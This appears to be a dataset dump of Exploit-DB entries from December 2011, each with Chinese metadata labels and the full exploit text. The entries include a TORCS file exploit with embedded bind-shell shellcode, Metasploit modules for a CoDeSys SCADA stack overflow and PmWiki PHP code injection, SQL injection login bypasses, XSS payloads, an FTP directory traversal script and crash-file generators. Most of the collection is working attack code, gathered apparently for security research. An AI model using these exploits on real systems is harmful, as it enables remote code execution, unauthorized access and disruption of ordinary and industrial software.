QLWD/code_shield huggingface dataset:
标题: IrfanView - '.tiff' Image Processing Buffer Overflow EDB-ID: 18257 CVE: 2011-5233 类型: DOS 平台: WINDOWS 发布日期: 2011-12-20 漏洞利用脚本: #####################################################################################

Application:   IrfanView TIFF Image Processing Buffer Overflow Vulnerability

Platforms:   Windows

Exploitation:   Remote code execution

Secunia Number:   SA47065  

{PRL}:   2011-10

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2011-12-02 - Vulnerability reported to vendor
2011-12-20 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
The vulnerability is caused due to an error when processing TIFF images with certain "Rows Per Strip" and "Samples Per Pixel"

values, which can be exploited to cause a heap-based buffer overflow by tricking a user into opening a specially crafted TIFF

image file.


#####################################################################################

=============
4) The Code
=============

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18257.tif
http://www.protekresearchlab.com/exploits/PRL-2011-10.tif URL: https://www.exploit-db.com/exploits/18257
标题: IrfanView FlashPix PlugIn - Double-Free EDB-ID: 18256 CVE: 2012-0025 2011-5232 类型: DOS 平台: WINDOWS 发布日期: 2011-12-20 漏洞利用脚本: #####################################################################################

Application:  IrfanView FlashPix PlugIn Double-Free Vulnerability

Platforms:   Windows

Exploitation:   Remote code execution

Secunia Number:   SA47322  

{PRL}:   2011-11

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2011-12-08 - Vulnerability reported to vendor
2011-12-20 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================

The vulnerability is caused due to the "Free_All_Memory()" function not properly setting certain decoder elements to

NULL after freeing them, which can be exploited to cause a double-free condition via specially crafted FPX images.

#####################################################################################

=============
4) The Code
=============
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18256.fpx
http://www.protekresearchlab.com/exploits/PRL-2011-11.fpx URL: https://www.exploit-db.com/exploits/18256
标题: DotA OpenStats 1.3.9 - SQL Injection EDB-ID: 18250 CVE: 2011-5218 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-19 漏洞利用脚本: =============
# Exploit Title: DotA OpenStats SQL Injection Vulnerability
# Google Dork: "© 2011 Powered by DotA OpenStats"
# Date: 19/12/2011
# Author: HvM17
# Version: 1.3.9 and below
# Tested on: WinXP

=============
# VenDor : http://openstats.iz.rs/
# Download script: https://sourceforge.net/projects/dotaopenstats/
=============

[~] Exploit
  
  http://localhost/dotaStats/index.php?id='1 UNION SELECT 1,2,3,4
  
============
Made IN INDONESIA
Greetz for All HVM crew :)
============ URL: https://www.exploit-db.com/exploits/18250
标题: Free Mp3 Player 1.0 - Local Denial of Service EDB-ID: 18254 CVE: 2011-5043 类型: DOS 平台: WINDOWS 发布日期: 2011-12-19 漏洞利用脚本: #!/usr/bin/perl

# Exploit Title:  Free Mp3 Player 1.0 Local Denial of Service
# Date: 19-12-2011
# Author: JaMbA
# Download:
http://www.softpedia.com/get/Multimedia/Audio/Audio-Players/Free-Mp3-Player.shtml
# Version: 1.0
# Tested on: Windows 7

my $file= "Crash.mp3";
my $junk= "\x41" x 2048;
open($FILE,">$file");
print $FILE $junk;
print "\nCrash.mp3 File Created successfully\n";
print "\ Dz-Devloper Work Team (Ahmadso best friend)\n";
close($FILE); URL: https://www.exploit-db.com/exploits/18254
标题: Capexweb 1.1 - SQL Injection EDB-ID: 18247 CVE: 2011-5031 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-12-16 漏洞利用脚本: # Exploit Title: Capexweb Sql Vulnerable
# Date: 15 Dec 2011
# Author: D1rt3 Dud3
# Google Dork: inurl:capexweb
# Gr33ts: Th3 RDX
# Version: 1.1
# Description: Capexweb is Web based Backoffice client used by leading Stock Exchanges like Berkeley Gains, angle broking house etc.

http://localhost:8080/capexweb/capexweb/


Log in details:
Username: x'or'x'='x
Password: x'or'x'='x

-------------------------------------------------------------------------------"Indian" URL: https://www.exploit-db.com/exploits/18247
标题: Seotoaster - SQL Injection EDB-ID: 18246 CVE: 2011-5230 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-16 漏洞利用脚本: #################################################################################
# Advisory:  Seotoaster SQL-Injection Admin Login Bypass
# Author:         Stefan Schurtz
# Contact:        sschurtz@t-online.de
# Affected Software:     Successfully tested on Seotoaster v.1.9
# Vendor URL:        http://www.seotoaster.com/
# Vendor Status:     fixed
#################################################################################

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go
or
http://<target>/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

========
Credits
========

Vulnerabilitiy found and advisory written by Stefan Schurtz

===========
References
===========

http://secunia.com/advisories/46881/ URL: https://www.exploit-db.com/exploits/18246
标题: TORCS 1.3.1 - acc Buffer Overflow EDB-ID: 18258 CVE: 2011-4620 类型: LOCAL 平台: WINDOWS 发布日期: 2011-12-20 漏洞利用脚本: /* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */

/*
    This exploit generates a corrupted acc file 
    which has to be saved in the directories where
    TORCS loads its data, for example replace 
    cars/car4-trb1/car4-trb1.acc and put test.acc or create 
    a new car/track and select it in the TORCS menu
*/


#include <stdio.h>
#include <stdlib.h>

/*
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
*/

unsigned char buf[] = 
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";

int main(int argc, char **argv) {

    FILE *save_fd;
    int i=0;

    save_fd = fopen("test.acc", "w");

    if (save_fd == NULL) {
     printf("Failed to open '%s' for writing", "test.acc");
     return -1;
    }

    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
     putc('\x90', save_fd);
    }
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);

    close(save_fd);

    return 0;
} URL: https://www.exploit-db.com/exploits/18258
标题: CoDeSys SCADA 2.3 - WebServer Stack Buffer Overflow (Metasploit) EDB-ID: 18240 CVE: 2011-5007 类型: REMOTE 平台: WINDOWS 发布日期: 2011-12-13 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'            => 'CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow',
   'Description'     => %q{
    This module exploits a remote stack buffer overflow vulnerability in
    3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
   },
   'License'         => MSF_LICENSE,
   'Author'          =>
    [
     'Celil UNUVER', # Original discovery and exploit
     'TecR0c',       # Module Metasploit
     'sinn3r'
    ],
   'References'      =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
     [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
    ],
   'DefaultOptions'  =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'false',
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'        => 'win',
   'Payload'         =>
    {
     'size'     => 4000,
     'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e",
    },

   'Targets'         =>
    [
     [
      'Windows XP SP3',
      {
       'Ret'    => 0x7E4456F7,
       'Offset' => 775
      }
     ], # jmp esp user32
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Dec 02 2011',
   'DefaultTarget'  => 0))

  register_options([Opt::RPORT(8080)], self.class)
 end

 def check
  connect
  sock.put("GET / HTTP/1.1\r\n\r\n")
  res = sock.get(-1, 3)
  disconnect

  # Can't flag the web server as vulnerable, because it doesn't
  # give us a version
  vprint_line(res)
  if res =~ /3S_WebServer/
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  connect

  buffer =  rand_text(target['Offset'])
  buffer << [target.ret].pack('V')
  buffer << make_nops(8)
  buffer << payload.encoded

  sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"

  print_status("Trying target #{target.name}...")
  sock.put(sploit)
  res = sock.recv(1024)
  print_line(res)

  handler
  disconnect
 end
end

=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end URL: https://www.exploit-db.com/exploits/18240
标题: PmWiki 2.2.34 - 'pagelist' Remote PHP Code Injection (2) (Metasploit) EDB-ID: 18243 CVE: 2011-4453 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-14 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit',
   'Description'    => %q{
    This module exploits an arbitrary command execution vulnerability
    in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
    inside /scripts/pagelist.php.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'EgiX',  # Vulnerability discovery and exploit
     'TecR0c' # Metasploit Module
    ],
   'References'     =>
    [
     ['CVE', '2011-4453'],
     ['BID', '50776'],
     ['OSVDB', '77261'],
     ['URL', 'http://www.exploit-db.com/exploits/18149/'],
     ['URL', 'http://www.pmwiki.org/wiki/PITS/01271']
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Keys'        => ['php'],
     'Space'       => 4000,
     'DisableNops' => true,
    },
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Targets'        => [['Automatic',{}]],
   'DisclosureDate' => 'Nov 09 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI',[true, "The path to the pmwiki installation", "/"]),
   ],self.class)
 end

 def check
  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php?n=PmWiki.Version' : '/pmwiki.php?n=PmWiki.Version'

  res = send_request_raw(
   {
    'uri' => uri
   }, 25)

  if (res and res.body =~ /pmwiki-2.[0.00-2.34]/)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit
  p = Rex::Text.encode_base64(payload.encoded)
  header = rand_text_alpha_upper(3)
  header_append = rand_text_alpha_upper(4)

  uri = datastore['URI']
  uri += (datastore['URI'][-1, 1] == "/") ? 'pmwiki.php' : '/pmwiki.php'

  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => uri,
   'vars_post' =>
    {
     'action' => 'edit',
     'post' => 'save',
     'n' => "#{header}.#{header_append}",
     'text' => "(:pagelist order=']);error_reporting(0);eval(base64_decode($_SERVER[HTTP_#{header}]));die;#:)",
    }
   }, 25)

  res = send_request_cgi({
   'method'  => 'POST',
   'uri'     => uri,
   'headers' =>
    {
     header => p,
     'Connection' => 'Close',
    },
   'vars_post' =>
    {
     'n' => "#{header}.#{header_append}",
    }
  }, 25)
 end
end URL: https://www.exploit-db.com/exploits/18243
标题: Family CMS 2.7.2 - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 18230 CVE: 2012-0699 类型: WEBAPPS 平台: PHP 发布日期: 2011-12-10 漏洞利用脚本: FCMS_2.7.2 cms and earlier multiple stored XSS Vulnerability
===================================================================================
# Exploit Title: FCMS_2.7.2 cms multiple stored XSS Vulnerability

Download link :http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.7.2/FCMS_2.7.2.zip/download

# Author: Ahmed Elhady Mohamed

# Category:: webapps

# Tested on: windows XP Sp2 En

===================================================================================



#First we must install all optional sections during installation process.

        #############################################Stored XSS################################################################


         page : messageboard.php?thread=1 

  decription: if you ADD javascript code in " reply " field , the code will execute in " profile.php?member=1 " page.


 page : familynews.php?addnews=yes

 description : when you add news you can put js in " text area " field to execute


 page : prayers.php

 description : when you add prayer  ,you can inject js in "pray for" field as "<script>alert(/xss/)</script>"


 page : recipes.php?add=category

 description : insert in "name" field  "><script>alert(/xss/)</script> , it will execute at "recipes.php?addrecipe=yes" page

 
 page : calendar.php?add=2011-12-2

 description : when add an event, insert in "Event" field ("<script>alert(/xss/)</script>")
 
 it will execute at  "calendar.php" page

 ################################Reflected XSS#################################################################################

 These pages have reflected xss .
 
 calendar.php?add=2011-12-7%22%3E%3Cscript%3Ealert%28/family/%29%3C/script%3E

 gallery/index.php?uid=%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E
  ############################################################################################################################## URL: https://www.exploit-db.com/exploits/18230
标题: zFTPServer Suite 6.0.0.52 - 'rmdir' Directory Traversal EDB-ID: 18235 CVE: 2011-4717 类型: REMOTE 平台: WINDOWS 发布日期: 2011-12-11 漏洞利用脚本: #!/usr/bin/perl
#################################################################################
# Advisory:  zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
# Author:  Stefan Schurtz
# Contact:  sschurtz@t-online.de
# Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52
# Vendor URL:  http://www.zftpserver.com/
# Vendor Status: fixed
# CVE-ID:  CVE-2011-4717
# PoC-Version:   0.2
#################################################################################
use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
 print "[+] Usage: $@ <target> <payload length>\n";
 exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
  $payload .= $p[$i];
  push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF URL: https://www.exploit-db.com/exploits/18235
标题: CSF Firewall - Buffer Overflow (PoC) EDB-ID: 18225 CVE: 2011-5033 类型: DOS 平台: LINUX 发布日期: 2011-12-09 漏洞利用脚本: /*
############################################################################
# Exploit Title: CSF Firewall Buffer overflow p0c
# DownLoaD : http://www.configserver.com/free/csf.tgz
# Date: 2011-12-09
# Author: FoX HaCkEr
# site : www.sec4ever.com
# MaiL : Mkq@hotmail.com
# Tested on: CentOS3/4
############################################################################

==============================================================================
FiLe : CSF.c
*/

/*
    * Copyright 2006-2011, Way to the Web Limited
    * URL: http://www.configserver.com
    * Email: sales@waytotheweb.com
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <string.h>
#include <pwd.h>
main ()
{
    FILE *adminFile;
    uid_t ruid;
    char name[100];
    struct passwd *pw;
    int admin = 0;

    ruid = getuid();
    pw = getpwuid(ruid);

    adminFile=fopen ("/usr/local/directadmin/data/admin/admin.list","r");
    while(fgets(name,100,adminFile) != NULL)
    {
        int end = strlen(name) - 1;
        if (end >= 0 && name[end] == '\n') name[end] = '\0';
        //printf("Name [%s]\n", name);
        if (strcmp(pw->pw_name, name) == 0) admin = 1;
    }
    fclose(adminFile);
    if (admin == 1)
    {
        setuid(0);
        setgid(0);
        //setegid(0);
        //seteuid(0);
        execv("/usr/local/directadmin/plugins/csf/exec/da_csf.cgi", NULL);
    } else {
        printf("Permission denied [User:%s UID:%d]\n", pw->pw_name, ruid);
    }
    return 0;
}


=========================================================================== 

why buffer overflow ?


Because char name[100];

fgets()

If we add more than what would be happening?

Buffer OverFlow ^_^

============================================================================


(gdb) run `python -c 'print "\x41"*150'`
Starting program: /root/csf `python -c 'print "\x41"*150'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x0      0
ecx            0xb7fc54e0       -1208199968
edx            0xb7fc6360       -1208196256
ebx            0xb7fc4ff4       -1208201228
esp            0xbffff310       0xbffff310
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x41414141       0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) i r eip
eip            0x41414141       0x41414141
(gdb) i r eip esp
eip            0x41414141       0x41414141
esp            0xbffff310       0xbffff310
(gdb) 
=========================================================================
N0 ExpLoiT ScRipt KiiiD'z

Gr33T'z : ALL My Friends .............. URL: https://www.exploit-db.com/exploits/18225